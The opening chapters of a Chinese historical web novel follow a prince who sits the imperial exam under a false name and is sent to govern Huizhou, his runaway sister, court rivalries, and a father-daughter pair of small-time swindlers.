第一章 周启高中状元 - 风吹繁花散落时 - 红酒羊排 娉婷觉得腰膝疼痛难忍,长方形的“天地”让人无法舒展,蜷缩在这里似乎已经快六个时辰了,颠簸的马车吱吱嘎嘎,期间饭香透过缝隙飘进来,娉婷的肚子咕咕作响,她强忍住才没有功亏一篑,困饿之下,疼痛渐轻,她终于沉沉睡去。 …… 二月初二,三年一次的科举如期举行。皇帝亲出试题,来自全国的考生同场竞技,坤宁宫偏殿,周启正全神贯注,这一次他要与学子们一较高下,不仅是为了向速来严厉的先生证明自己的学问,也为了测试一下自己的真实水平。 半个月后,经过数位官员的认真选拔,三位考生的试卷被上承皇帝御览。 五天后,皇榜前人头攒动,周启的伴读李博已早早等在礼部门前,皇榜还没完全贴好,就有人大喊一声,“中了,中了!我中了。”大家齐齐看向那人,那人手舞足蹈,喜悦之情溢于言表,其他人口说恭喜,心中则更加紧张起来。李博一目十行地寻找,忽然旁边有人大喊,“快看,状元!”大家又都齐齐看向榜单头甲第一名:周开。李博差点喊了出来,回头看着远处的周启,挥舞着双手,“快过来呀!考上了!考上了!” 一直站在拐角处的周启早就心跳加速,远远听见李博的喊声,迅速看了一眼周围,真想给李博一个大耳刮子!考中还不是应该的吗?第几名才重要吧!周启没好气地走过来,心想还是自己来看比较靠谱! 周启双手背在身后从容而来,心里虽然紧张,面上却一点不露。人群中不时传出喜讯,有人喜气洋洋,有人已经开始了第二遍寻找。李博伸手一把拉过周启,这位皇子慢悠悠的态度真是让人着急,“快看,那呢!” 周启顺着李博手指的方向看去,头甲第一名,周启甚至有点恍惚,李博难掩心奋之情,双手抱着周启的肩膀摇了起来,“状元啊!真行啊您!”围着皇榜的人群一听状元纷纷道贺,甚至有人趁机摸了周启两把,想要沾沾喜气。 周启任由大家围着,所有人都好像发自内心的为他高兴,他依旧双手背在身后,淡定自若的样子更加增添了几分状元郎的气度。 礼部官员正在发愁,按规矩在放榜的同时,礼部就要派员由顺天府府衙护送前往考生住地送喜报,为了绝对保密,礼部也是今天才知道状元的住所。顺天府管理京城大小事宜,地面上的事情熟的很,打开地址竟然琢磨半天也想不起这位新科状元住所在哪。为了不耽误差事,其他队伍已经出发,状元喜报却还在礼部官员手中,这原本是最讨喜的差事,状元郎按道理最少也是从六品翰林院修撰,日后官场上见了也算是相识一场。这位礼部小吏正着急呢,有一队人马甚至已经回来了。 “呦,我还以为我最快,没想到你已经回来了。” “嘿,什么呀,我还没去呢!这叫什么事啊!居然没人认得状元郎的住址!” “哎?状元郎不就在门外看榜吗,你还不赶紧去!” 小吏一听,也顾不得什么礼仪了,噔噔噔往外跑,站在礼部石阶上远远看见一位少年被人围着贺喜,来不及多想,三步并两步来到周启身边,“状元郎,状元郎!”小吏一抱拳,“恭喜呀!本官礼部员外郎朱其貌,恭喜周开公子高中头甲第一名状元!明天一早,请状元郎到礼部学习礼仪规范,三天后-进宫面圣。”朱其貌说完转身离开,人群再次沸腾起来。周开拿着喜报突然觉得这如烫手山芋一样,明明地址是瞎编一通,根本没想着要去面圣,如今只得先赶紧离开这是非之地再说。 “你跑什么呀!” “我可是冒名去的,皇上看见我,鼻子还不得气歪了!赶紧,赶紧回宫,假装什么也没发生!” 第二天,皇帝的贴身太监刘喜急匆匆来请五皇子,周启与李博面面相觑,“五皇子,赶紧的呀,皇上等您呢!”长喜已经开始往乾清宫走去,周启知道自己肯定是暴露了。 原来,所有高中的学子都早早到了礼部学习规矩,只有状元郎迟迟不露面。礼部尚书郑礼叫来朱其貌询问,这位员外郎也是同进士出身,三笔两笔就将周开的样貌画了出来,郑礼一看大吃一惊,稍作调整,带着朱其貌进宫去向皇上汇报。 皇帝一看,嘭得一声将画像摔在桌子上,半柱香后,周启规规矩矩跪在乾清宫,等着承受雷霆之怒。 “郑礼,你退下吧!今天,你没有来过,这画像你也没有见过!那个朱其貌,告诉他,状元长什么样子,他已经忘了!” “是。” 郑礼告退后,皇帝瞪了一眼周启,“状元郎,起来吧!” “儿臣不敢。” “你有什么不敢?朕赏你一个州府让你管理,你敢不敢?” 周启抬头看着皇帝,觉得皇帝的神情不像生气,可这话说得实在不着边际,心想皇上是不是气疯了?赶紧磕头认错,“儿臣错了,父皇,请您保重龙体。” “知道错了就好,你去,到徽州府去,管理得好朕就原谅你,管理不好,看朕怎么罚你!” 为了公平起见,父子俩约法三章,皇帝在宫中掩护他,以让皇子体察民情之名对外宣称周启前往民间微服私访,地方官员禁止相互通报五皇子行踪。五皇子周启则保证在任上绝不透露自己皇子的身份,不寻求京中官员的帮助,甚至不告诉任何人自己的去向。 六天之后,五皇子以微服私访之名离京,李博虽为皇子伴读,却被皇帝留在京城。 千里之外的赌坊内烟雾缭绕,筛盅哗哗作响,麻将桌上,吴怡正和李老四向众人展现两人的满分默契:出老千。 “碰!白板。” “胡啦!单叫白板!” “你小子是不是傻呀,这个时候了你他妈出什么白板!” “可我这白板没有用啊!我要是不扔,我也没得出了呀!” 这个二百五已经连输七把居然还没有反应过来两人相互点炮,吴怡自然紧着赔不是,这样的冤大头实在不好找。 满脸络腮胡的“冤大头”终于站起身来要走,李老四一着急一把拉住,“哎,刚输了就要走啊!不能只想着赢钱,输钱就跑路,那大家还玩什么呀!” “去去去去,老子想走,咋,你还能拦着老子?”大汉胳膊一挥,李老四踉跄着向后退了两步栽倒在地,吴怡见了,抬腿上桌,一步跨在大汉肩上,双手使劲揪着大汉的两只耳朵,“还敢打人!”。 吴怡一身男装,在大汉粗壮的身板对比下还是显得十分弱小,大汉一只手去抓吴怡的头,她头顶的帽子瞬间滑落,一头秀发如瀑布一样倾泄而下。 “妈的,怎么是女的呀!真是晦气,怪不得老子今天老输呢!” 这一嚷嚷可不妙,赌场的人都停下来看向这边,李老四四肢并用才站稳了,赶紧把吴怡从大汉身上拉下来,“别打了,快走啊!” 父女俩闯过人群一路逃走,刚出了赌场没两步,赌场的大汉们就追了出来。赌场有规矩,为防冲撞了财神爷,女客一律谢绝入内。况且李老四早就上了赌场的黑名单,今天趁人不注意还敢来,赌场的老板定要给他点颜色瞧瞧。 两人一路穿街过巷,直跑得气喘吁吁,赌场的人怎么能轻易绕过他们,一帮人跑到菜市口,李老四与吴怡对视一眼,分开向平时自己的藏身之所跑去。 两人走江湖惯了,每到一地必定先探勘好一隐蔽之所,甚至彼此也不知道,正是为了此种情形。 吴怡在成衣店,将男装脱了,换上一件顺手牵羊来的女装,悠悠闲闲走在路上,赌场的人瞎了一般,走个对脸也认不出她。 傍晚,吴怡来到与李老四约定好的桥下等着,邦邦邦的打更声响了好几遍,看家护院的狗也逐渐安静下来,月光照着刚刚被雨洗过的石板路,蛐蛐的鸣叫越来越响亮,吴怡蹲在桥下,身上觉得越来越冷。 此时的周启心情愉悦,身为大周朝嫡皇子,周启自小长在宫廷,宫门都很少出,更别说城门了。今天,周启带着随从骑着高头大马气宇轩昂地离开京城,外面如此辽阔,甚至田里的老牛,路边的野花都让周启心情舒畅。 到了傍晚,周启一行准备打尖住店,幸亏要的是上等客房,否则这么多人还真不好找地方投宿。 太监连锁指挥人从马车上卸东西,“小心点,这是主子的用具,轻点放啊!” 抬箱子的两人都是大内侍卫,一搭手就知道不对劲,两人相互示意一眼,慢慢将箱子放在地上,给了大家一个禁声的手势,侍卫首领何平用身子挡在周启与箱子中间,一手已经按在佩刀上,示意开箱,所有人围成一圈严阵以待,箱子打开,众人往里一看,又齐齐看向周启。 第二章 周娉婷私自离开京城 - 风吹繁花散落时 - 红酒羊排 箱子一打开,大家都松了一口气,侍卫门已经将佩刀收好,周启走过来一看,周娉婷一手扒着箱子口,正楚楚可怜地向外张望。 “你怎么在这?” “哥,我腿都麻了!”说着,周娉婷坐直了上半身,双手按摩着腿,满眼委屈地看向周启。 周启吩咐连锁将周娉婷扶出来,又吩咐所有人早点安歇,明日好继续赶路。兄妹俩在房间相对而坐,“哥,你去哪啊?真羡慕你,你带我一起呗。” “明天一早,我派个人送你回去。” “我不要!现在宫门都下钥了,父皇、母后肯定已经知道我偷偷出宫了,明天我回去,我不是找打呢吗?我才不呢!”娉婷一瘸一拐得走到床边,“哥,我困了,我要睡觉了,明天见!”说着,她居然已经开始脱衣股了。 周启与娉婷一母同胞,最知道妹妹的脾气,只得自行离开。 “主子?”连锁打小跟在周启身边,他也是陪着两兄妹一起长大的,连锁明白六公主为什么偷跑出来,可自己一个奴才也只能听主子吩咐。 “我一会儿给父皇、母后写封信,你明天派人到驿站去寄。” “是,那公主?” 周启回头看了看禁闭的房门,“告诉大家,公主与我们一起走。” 娉婷小心翼翼地贴在门上听见了哥哥的吩咐,心中高兴起来,又蹑手蹑脚的回到床上休息。第二天一早,娉婷乖巧的早起,与大家一同出发往徽州方向去。 天已经大亮了,吴怡还是没有等来李老四,她站起来活动筋骨,远远看见馄饨摊子,突然觉得肚子里空落落的。 馄饨摊前,吴怡狼吞虎咽,原本昨天都商量好的,赚了钱五五开,结果光顾着跑了,赢来的钱也不知道便宜了哪个王八蛋。吴怡这么想着,准备掏钱汇账,一摸口袋真是比脸干净! 吴怡想起那仅有的几文钱都在那身男装口袋里,而自己居然扔掉了全部的家当!吴怡狠狠抽了自己一个嘴巴,又自己揉了揉,看看老板在招呼其他人没有在意这边,吴怡只好强装镇定,趁着来了一大帮客人的混乱劲,一阵狂跑。 赌坊前,吴怡观察良久,见里面还是烟雾缭绕筛盅哗啦作响,不像等着她来自投罗网的样子。吴怡长出一口气,抬腿向里走。 “你是吴怡不?” “啊?”吴怡警觉地看着那人,不过庄稼汉的模样,“你找我有事?” “李老四你认识吧,他昨天宵禁时候被抓了,托我找你去保他出来。” “哦,被官府抓了啊,好,我知道了,谢谢您了!” “哎,李老四说了,话带到了,你能给我两钱银子。” 吴怡一听,心里骂街,脸上却还笑呵呵,“好好好,这还不是应该的嘛。”说着假装掏钱,“哎,我荷包呢,哎。”吴怡一边低头寻找,一边四下张望,“肯定是那个人,刚才撞了我一下,妈的,荷包还我!”吴怡指着根本不存在的人,一路追去,七拐八拐跑到昨天的成衣店,捎口信的人已经不见了踪迹。 成衣店还没有开门,街对面,一群小乞丐在争夺一件灰色的褂子,吴怡一看,真是老天开眼,她跑过去一把抢过衣服,往口袋里摸去,哪里还有什么铜板啊,吴怡气鼓鼓将衣服朝着成衣店一甩,“你大爷的!”叉腰站在街上,等冷静下来又捡起衣服,往菜市口去了。 不一会儿,菜市场热闹起来,吴怡蓬头垢面跪在菜市口,前面的一块牌子上写:卖身葬父,而旁边的破席子盖着一个“人”,只露出两只塞满稻草的裤腿和鞋袜,来来往往指指点点的人多,也有人发了慈悲之心扔给她一两个铜板,买走吴怡的根本没有。时近晌午,菜市场已经冷冷清清,吴怡打算收摊回去,上午的好心人扔给她的铜板七零八落,也不知道够不够赎出李老四的。 吴怡正捡着铜板,两只大脚走到身边,吴怡抬头望去,一个五十几岁干瘦如柴的男人正笑嘻嘻打量着自己。见吴怡抬头,举起手中的钱串子,咧开嘴露出一口大黄牙。 吴怡不错眼地看着两串子铜钱,顺势跪在地上,像碰见菩萨一般拜了拜,“谢谢您,您长命百岁!” 随后两人开始抬“尸体”,破席子卷起来搭在车上朝城外的坟圈子走去。 皇宫之中,皇帝接到了周启的来信,娉婷终于有了下落,做父亲的松了一口气,可是六公主的亲事,皇帝早已打定主意绝不可能更改。皇后听说女儿找到了,也松了一口气,李贵妃倒是消息灵通,亲自到坤宁宫来宽慰。 “这公主也真是的,马上就要嫁人的人了,怎么还像孩子似的,倒叫皇上担心了,皇上昨天晚上都没睡好呢。” “李贵妃,皇上在你那里晚上睡不安稳,你也要多用心才是。” “皇上在嫔妾那里,速来安心。这不,三皇子在朝上帮着处理政务,皇上说了自己轻松不少,倒是我们周琰说了这是人子的孝道。我们周琰啊,就是勤快一些,孝顺一些,不像五皇子有福气,可以到外边游玩一番。” “皇上派他去体察民情,这也是他作为嫡皇子该做的。” “呵,是呀,五皇子是嫡皇子,就算什么也不会,皇上照样器重。六公主也是嫡公主,这日后远嫁了,那也是为了咱们大周的安定,百姓们自然感念。只是嫔妾听说,这西凉人剽悍得很,听说那里缺水,一辈子也洗不上一次澡,不知道日后公主去了习不习惯。” 皇后的脸色已经十分难看,“好了,公主的亲事是皇上钦定的,不是我们这些后妃可以议论的,李贵妃,休要多言!” “是,嫔妾话多了,皇后娘娘莫生气。” 李贵妃恭恭顺顺的样子更叫人讨厌,皇后强压住火气吩咐所有人都散了。众人退去,国丈从内殿走了出来,“何必与她置气,不过逞口舌之快。” “两个孩子到哪了?” “刚出去一天,你就想了?把孩子拴在裤腰带上,将来能有什么出息!” “爹,若是周驷还在,我还能在这里受这样的气吗?周启他是我儿子,可是从来没有向着我过,总是让我不要去争,我不争,他连嫡子都不是,他不明白,您还不明白吗?” “大皇子聪慧天成,可是天不假年,非我们能够改变的。五皇子性格沉稳,只是不愿参与朝政。如今皇上宠爱李氏,三皇子在朝上也是野心勃勃,争肯定是要争的,怎么争,争什么才是关键。” “皇上宠爱李氏也不是一天两天的了,我皇后之位还在,她就只能是个妃嫔!可是周启呢?皇上为何不让他参与朝政?” “过早参与朝政未必就是好事,他这次出去倒是好事也说不定。” “好什么好!外边比宫里还凶险,宫里本宫还能护着他,出去了,遇到危险怎么办?爹,您的人到底跟没跟着他啊!” “五皇子早晚得独挡一面,他在宫里天天和一帮太监、宫女在一起,能有什么大出息,出去了见见世面,将来对他大有裨益。皇后娘娘也不用过分忧心,我看这次皇上是有心培养五皇子呢。” “真的?” “娘娘放宽心吧,我的人一直跟着五皇子呢,不会出什么危险,若是他在外边知道世事艰辛,民间疾苦,说不定想回来争太子之位了呢,总比他在宫里什么也不干,专门与你过不去得强吧!” 皇后听了国丈之言,自然放心不少。这边李贵妃回宫,也与哥哥户部尚书李天时商量起来。 “哥哥这是何意?” “如今三皇子在朝上需要支持,我们李家不过小门小户出来的,这几年才平步青云。若我们像皇后的娘家一样三朝宰辅,妹妹早就是皇后了,三皇子也许都已经是太子了。” “幸亏哥哥善于理财,头脑一流,得皇上器重,否则我们母子更得被皇后压死。” “这两年我想了,大臣们的关系不过是人为财死鸟为食亡,朝上只有永远的利益,若三皇子能让那些官员们最终得利,那站在他这一边的人就会越来越多。” “如何得利?” “要么升迁,要么得财。” “升迁谈何容易?多少眼睛盯着呢,别说皇上了,就是皇后娘家那帮人恨不得抓住我们的过错呢,怎么敢在朝上拉帮结派呢,你不是说一定要谨慎低调吗?” “所以还有财嘛,我们以前不过是潜邸的奴才,若不是我经营有方,管理起国家财政,皇上怎么如此器重我们?” “那这财也是朝廷的呀,也无法为我们所用啊!” “哼,若是我们拿到一个朝廷供奉,或是与商贾巨甲达成了一致,那钱还不就来了吗?” “朝廷供奉?” “妹妹可知道徽州吗?” “知道啊,说那里富得流油的,怎么,哥哥有办法在那样的地方夺得一席之位?” “只要我的人在徽州得手,拿到了朝廷供奉自然会给我们分红的,到时候三皇子就是如虎添翼,什么五皇子,什么皇后,什么宰辅,都一边凉快去吧!” “好好好,哥哥,此事若成了,哥哥就是头一份的功劳,我们周琰永远都记得舅舅的辅佐。” 第三章 周启、吴怡初相见 - 风吹繁花散落时 - 红酒羊排 吴怡与“买”了她的精瘦男人一路来到城外的坟圈子,吴怡边走边哭,“爹呀,女儿不孝啊,你怎么就这么走了啊!爹啊,幸亏这位大哥啊,你在阎王老爷面前也要给大哥说两句好话呀……”。 精瘦男人在前面拉着板车,扭脸笑呵呵看了一眼吴怡,继续拉车往前走,那两串钱在腰间晃晃荡荡。吴怡见坟圈子就在眼前了,一边扶着车一边跟精瘦男人说,“哎,大哥,我爹的棺材呢?” “前面呢,棺材铺管送,直接入殓了就行了。”精瘦男人脚步不停,埋头拉车。 “那我得给我爹好好安葬,上柱香什么的!” “放心吧,咱爹一定能好好安葬,墓碑都有,上柱香没问题。” 吴怡见马上就要到坟圈子了,再不动手钱可就归了棺材铺了。吴怡四下张望,一个人也没有,“哎呦”一声假装载到在地,精瘦男人赶紧停好车过来查看,“怎么了?” “崴脚了。”吴怡带着哭腔,可怜巴巴捂着脚踝,“哎呦,都肿了。” 男人刚要蹲在地上查看,吴怡瞧准了一把黄土扔过去,男人顿时睁不开眼睛,吴怡猫着腰将男人腰间的钱串子扽下来,又转到男人身后狠狠踹了他一脚。精瘦男人摔了个狗吃屎,好不容易才站起来,眼睛被黄土糊住了,等男人勉强睁开眼,吴怡早就没影了,再看车上的“尸体”跺着脚大骂起来,“挨千刀的!拿个稻草骗走了我的两串子钱啊!” 吴怡一路跑回城,远远看见府衙衙役要关门了,紧跑两步,“等会儿,等会儿。”吴怡提着两串钱,笑嘻嘻来到师爷面前,“大老爷,我来赎我爹的,就是昨天晚上因为宵禁抓进来的李老四。” 师爷斜眼看了吴怡一眼,用下巴指了一下,“那边。” “哦,好好好,谢谢大老爷。” 吴怡提着钱,账房脸都不抬,“二两银子。” 吴怡觉得运气真好,“给您。”两串铜钱哐啷一下放在桌子上。 “还有呢。” “不是二两吗?都在这里了。” “嘿,你蒙事蒙到衙门来了!一千个铜板一串的才是一两银子,你看看你这个,五百个铜板怎么要当一两银子花吗?” “你都没数……” “我还用数吗?”账房先生激动的站了起来,用手指着自己的鼻子,一口绍兴话说到,“别说二两银子的铜板了,就是二两黄金的铜板,我一搭眼就知道少不少!” 吴怡尴尬地笑了笑,“能不能跟您商量商量……” “不能!”账房斩钉截铁,又一屁股坐在椅子上。 “嗯呜呜呜,都怪我不好,要不是为了去给我请大夫,我爹也不能大晚上出门,呜呜呜……爹呀,女儿不孝啊!” 账房抬抬眼皮,这种人他见多了,挥手叫来两个衙役,一边一个将吴怡扔出了府衙,“哎,我的钱!”正喊着,府衙的大门已经“咣当”一声关上了。 “我……”吴怡想要砸门,又怕自己也进去了,在空中比划两下,一屁股坐在地上。 周启一行人一路急行,在客栈投宿,分开去寄信的侍卫也跟上了大部队,与何平禀报了身后奇怪之事。周启听了,也不惊讶,只慢悠悠喝茶,娉婷知道现在离京城还很近,自然事事听从哥哥安排,乖巧得坐在一旁察言观色。 “明天我们继续赶路,你带一队人护送公主往东,我带一队人继续往南,你找一个和我身材差不多的与我互换一下衣服。” 第二天,周启清点人数,并没有与人换衣服,跟着何平一起护送娉婷向东,连锁带着人一路向南。遇到岔路,两对人又分为四队,往四个不同的方向走起,遇到岔路口继续划分为八队,兜兜转转回到当天出发的地方聚集。 等所有人都聚齐了,周启与何平已经没了踪迹。连锁按照约定,一连在客栈住了三天,跟着的人知道行踪暴露只好回京复命。 许丞相听了也不生气,他觉得周启这样才有点皇子的样子,龙需要大海才是龙,天高海阔需有一番历练才能蜕变。 徽州城,所以官员仕绅都知道新科状元要来这里任知府,大家议论纷纷,不仅是因为这位状元姥爷刚满十八岁,还因为皇帝对他的超格提拔:按照大周朝的规矩,状元基本是授予翰林院修馔一职,不仅是无权文职也不过是从六品官员,而知府不仅掌一府事宜,大权在握,还是正经的从四品,两级官路够很多人走一辈子的。 “爹,我们速来与官府没什么往来,怎么这次居然要我们都去迎接呢?” “这位大人非比寻常,秦大人也是科举出身,做到知府之位花了十多年时间,在知府位上又做了六年多了,这还算快的。可是新来这位周大人,刚刚考中状元就来做知府了,都说秦大人能升迁还是为了要给周大人腾地方,所以同知大人自然十分重视,让所有有头脸的人都去迎接。” “爹,官场上的事情,我们又不懂,就算不去也没什么吧!我们本本分分做生意,又不想跟官府走得太近。” “昨天,官府扣了我们六批货,又不说什么原因,找了人去打听才知道同知大人怕我们都不去才出此下策,不仅我们啊,家家都扣了。” “怎么能这样呢!爹……” “好了,我去一趟就是了,不过迎接一下,吃吃饭就回来了,货要紧。对了,你去库房叫他们先把货再发一遍,虽说可能会迟到一天,总比干等着官府放行得强啊,你张伯伯那边,应该不会因为晚到一天就跟我们翻脸,你亲自去跟你张伯伯解释一下。” “好” 说话的父子正是徽州城最大的财主钱万全与儿子钱宁,钱家说是富可敌国也不为过,当铺、钱庄、田地……虽说不与官府亲近,茶叶的宫廷供奉年年都落在钱家。就是地方官员也多多少少给钱家一些面子。如今的同知大人余年原本以为知府的位子是他的了,突然空降来以为状元老爷,成了自己的顶头上司,心中有些失落,但是毕竟宦海沉浮,余年很快打起精神要在新任上司面前出出风头,这迎接仪式自然要隆重热闹,所以也就顾不得什么下属、仕绅的颜面了。 徽州的官员都忙着迎接新任知府,堂上的老爷却看着吴怡与李老四哭笑不得。 “青天大老爷啊,小女子生下来就死了娘啊,好不容易跟着爹爹活到这么大,谁知突然生病了,爹爹才冒险去请大夫,大老爷呀,要抓就抓我吧,求求您了!”两人跪在堂上抱头痛哭,“爹呀,女儿不孝啊!娘啊,你睁开眼看看我们吧,大老爷啊,可怜可怜我们父女吧!” 县太爷一拍惊堂木,堂上瞬间安静下来,“李老四,宵禁乃国法,你虽然可怜,但是本官若今天放纵了你,日后如何管理子民?既然你女儿给你交了一两银子的罚款,那原本应该打你十大板,如今就打你五板好了。”县太爷刚要拍惊堂木,吴怡大喊一声,“等会儿!” “吴怡,本官已经是轻判了,你还想怎样?” “大老爷,一两银子值五个板子?那您能不能把我那一两银子还我,我爹他禁得住十板子。” “嘿,吴怡,你……有你这么坑爹的吗?” “爹,你忍忍,很快就过去了!一两银子呢!” “放肆!公堂之上岂能允许你们讨价还价?”县太爷一拍惊堂木,两边衙役剁起水火棍,齐声到,“威武!” 李老四被打了五板子,一瘸一拐由吴怡扶着,“好啊,我可是看出来了,关键时刻这钱才是你亲爹呢!” “我这不是来救你了吗,能来交上一两银子就不错了!” “哎,咱们再回那个赌场去,这次一定要赢回来!” “还去?再被抓进来,再打十板子?”吴怡一手打在李老四的屁股上,“不疼了吧你!” “哎呦,你可真是!我怎么有你这么一个女儿!” 父女俩正往前走着,一个精瘦男人拦住了去路,原来这男人终于找人写好了状子要去告呢,正好碰见吴怡,“好啊,你跟你老子都在,骗钱骗到老子头上来了!走,跟我去见官。”精瘦男人上来就要抓吴怡的胳膊,三个人拉拉扯扯,扭打在一起。 吴怡用余光看见两匹马走了过来,使劲甩开精瘦男人的手,抱着马上人的腿不撒手,“公子,公子,救救小女子啊!” 何平见冲出来一个女人,拉着周启不撒手,差点抽出刀来,坐在马上大喝一声,“干什么的!还不都住手!” 这一声铿锵有力,将三人都镇住了,吴怡扑通一下跪在马前,“大老爷啊,这个人想强占小女,我爹爹有病在身,他就起了歹意,说要买了小女,我爹爹不同意,他就打我们呀!大老爷救命啊!” 周启原本稳稳当当坐在马背上,见这女子被吓得不轻,已经哭泣起来,两个男人一个面黄肌瘦,身上脸上都不干净,似乎已经被人打倒在地过了,另一男子黝黑黝黑的,还使劲抓着那个男子的衣领,一副理直气壮的表情。 周启翻身下马,扶起了吴怡,对着精瘦男人说了一句“放手”,周启天潢贵胄,不怒自威,精瘦男人竟真的松开了手,眼神飘忽起来,“她,她拿了我的银子。” 周启转头看了吴怡一眼,“她欠你多少钱?” “两串铜钱!” 周启示意何平给他,吴怡见这人居然给了二两银子,心中着急,又怕精瘦男人说出别的自己不好脱身,只好使劲忍住。精瘦男人得了钱,自然喜滋滋离开,李老四装起病秧子,咳嗽两声,一下子瘫倒在地。 第四章 李老四碰瓷周娉婷 - 风吹繁花散落时 - 红酒羊排 吴怡见李老四这样,一下子明白了他的意图,这两个冤大头可比赌场里的老鬼们好骗多了。李老四一昏倒,吴怡就赶紧过来扶着,哭天抹泪地骂自己不孝,只能眼睁睁看着亲爹病死! 周启哪见过这个,“姑娘,姑娘你别哭了,赶紧送你爹去看大夫才是正经事,哦,我这有些散碎银子,你先拿着,快带你爹去看病吧!”说着,周启拿出一小袋散银子交给吴怡。 “公子大恩大德!”吴怡一边磕头,一边抹眼泪,“不过,我们萍水相逢,怎么能要公子银子呢,小女实在不能要!” “拿着吧,救你爹要紧。”周启将银子放在李老四身边,与何平一起翻身上马,准备离开。 “公子,公子住哪,有机会小女一定还上。” “不必了。” 吴怡看着两匹马一溜烟跑没影了,呵呵笑了起来,用脚轻轻踢了踢李老四,“走了!” 李老四一个鲤鱼打挺,伸手就要抢银子,“嘿,人家给我的!” “当初咱们可说好了,五五开。” “我可是你亲爹!” “亲爹也不行,这银子应该有十两,我给你五两,你要是不要就算了,我就都收起来了。” “成成成,快给我!” “我跟你说啊,你要是那去赌没了,别指望我这份!” “哎呀,知道了!快拿来!” 两人坐地分脏,各自散去。 徽州城钱家绸缎庄,钱宁亲自从库房提出货来组织人手去发货,“油布盖上点,免得下雨弄湿了,这次决不能出任何闪失。” “放心吧少东家,老杨掌柜亲自跟您去,一定不会有事的!” 被官府扣住的六批货是钱家发往山西张家的绸缎,这些绸缎也是钱家从杭州运来的,发给张家后,再由张家销往北方甚至西凉等地。徽州钱家与山西张家世代交好,已经在一起做了三辈人的生意,商场上互相帮衬,张家自然不会因为晚一天就翻脸,故意派钱宁前往不过晚辈拜见长辈,见见世面,能与张家同辈有所交往就更好。而杨掌柜是绸缎庄的老掌柜了,与张家常年走动,由他带着,生意上自不必说,与张家的交往也会更加顺畅。 周启与何平二人已经进入徽州地面,娉婷等人还在山东境内,一行人现在全听公主安排,自然慢慢悠悠,在一地玩够了再启程。连锁心中担心五皇子,时时催促,娉婷虽然厌烦,想着此次出来若开罪了皇兄被送回京去可是大大的不妙,所以虽然游玩了几天,还是紧紧跟在周启后边,大概有四五天也能到。 李老四果不其然赌光了所有身家,再次被赌场轰了出来,见吴怡正双手交叉敷于胸前,两眼狠狠瞪着自己,李老四挠挠头,呵呵两声,居然吹起口哨双手背在身后悠哉悠哉往另一边走去。吴怡气不打一处来,气鼓鼓从后面照着李老四的后脑勺就给了他一下子。 李老四骤然被打,往前踉跄两步,差点趴在地上,“你怎么打人呐!” “打你,我今天就打你了!钱呢!” “那是老子的钱,你管不着!” “你的钱!”吴怡急了,跳起来又给了李老四两下子,“叫你赌,叫你赌!” “嘿,你个臭丫头,行了,我可是你亲爹!”李老四一把推开吴怡,理直气壮地伸出一只手,“拿来。” “什么?” “你那五两银子啊!” 吴怡知道李老四不赢回来绝不罢休,撒腿就跑,李老四追着吴怡,一把拉住她的胳膊,两人摔倒在地,扭打在一起,“拿来吧你!”李老四已经开始抢了,吴怡连打带踹,见李老四得手了,一个箭步扑到李老四肩上,“你还给我,还给我!” 李老四一个回身,一把将吴怡推在地上,“我可是你亲爹,这银子那也是我得来的,是那两个冤大头给我的,你凭什么要啊!” “你要不要脸!还亲爹呢,你姓李,我姓周!”吴怡急了,站起身来与李老四对骂。 “嘿,你这个丫头片子,跟你娘一个德行,嫌老子穷了是吧!要不是为了养你,老子早就吃香的喝辣的,还用受你的闲气!” “你还有脸说我娘,就是因为你一直赌博我娘才离开我们走了,你这么多年都干什么了?赌博、喝酒,还养我呢,要不是我,你现在准不定在哪个坟圈子里躺着呢!” “你他娘的还咒老子,滚滚滚,当老子没生过你,等老子翻了本赢了大钱,一个子也不给你!”说着李老四乐呵呵朝赌坊走去。 吴怡在赌坊门口站立良久,脸部渐渐扭曲,吴怡使劲忍住,下了很大决心似的头也不回的转身离开。 吴怡一路向南,走了两天到了山东界,再走就面临要不去徽州,要不去河南的抉择。 三省交界的官道旁,吴怡想起李老四又生起气来,对着路边的大树一顿拳打脚踢。一队商队恰巧从吴怡身后经过,吴怡停下来偷眼看了一眼,满满的货物在油布的覆盖下显得格外神秘。吴怡见过很多商队,今天这队异常壮观,货车绵延甚至看不到尽头。 吴怡赶紧小跑两步,来到队伍最前面骑着高头大马的公子身边,“公子,公子,你们去哪啊!能不能结伴同行?” 不等钱宁开口,杨掌柜在一旁询问到,“姑娘这是去哪啊!怎么一个人走在路上?” “哦,我要去河南找我爹,他的朋友带话给我说在河南等我,结果他朋友有事回家去了,就剩我一个人了。” “哦,姑娘,我们要去山西,正好经过河南,如是不嫌弃,姑娘就去后边的车上一起走吧。” “不嫌弃,不嫌弃,谢谢公子,谢谢老爷!”吴怡身为分文,能搭着马车走自然好了,给坐在马上的两人鞠了两个躬,连跑带颠得自己到后边马车上坐下。 钱宁回头看了吴怡一眼,见她喜滋滋也不认生,跟旁边的车夫聊了起来,心中疑惑,“杨掌柜,我们带着陌生人,这样好吗?” “少东家,咱们跑生意,路上若能搭把手就帮衬一下,没什么坏处。况且她一个女孩子,若是真出了什么事,管保叫人后悔,不如咱们带她一程,到了河南也就分开了。况且咱们还这么多镖师在呢,不会出什么事的。” 钱宁临出门前被钱万全叫到花房教导一番,钱万全希望他能听从杨掌柜的建议,跟他学习跑生意的经验。如今钱宁听杨掌柜这样说觉得长了经验,心中受教,便不再管吴怡,继续赶路。 李老四果然又输光了所有家当,来到桥底下找吴怡,可是等了两天还不见吴怡踪迹,李老四知道这丫头必是生气走了。之前也不是没走过,过两天也就回来了,大家都假装什么也没发生过一样,继续搭伙过日子。所以李老四也不着急,如今去哪弄点银子才是最重要的。 娉婷一行正急行赶路,李老四瞧准了距离冲出来倒在马队之前,娉婷使劲一拉缰绳,马蹄子扬起,马发出了嘶鸣之声,后面跟着的侍卫全部训练有素,齐齐停下。 娉婷坐在马背上紧张地看着地面,只见一个男人横躺在地上,旁边还有一大滩血。娉婷吓了一跳,示意连锁下去查看。 “老人家,老人家你怎么样?” “哎呦,哎呦喂……”李老四将手中的鸡血散了出来,艰难地挪动身体,“哎呦喂……”李老四有气无力地呻吟着。 “撞死人了嘿!”旁边已经聚集了一大帮围观的百姓,大家指指点点,一人突然冲出来,“哎呀,我的老弟呀,你怎么了呀!这是哪个挨千刀的把你撞成这个样子啊!”说着,这精瘦男人站起来,对着娉婷大声叫骂,“赶着去投胎啊!可怜我的兄弟,招谁惹谁了呀!哎呦,老天爷,你可睁开眼睛看看呦,你下来,你下来!咱们去见官!” 周围人更加指指点点,精瘦男人尖利的声音刺透耳膜,连锁顾不得躺在地上这位了,一边拦着精瘦男人,一边叫围观的人散了,侍卫门各个手按住佩刀机警地看着人群。 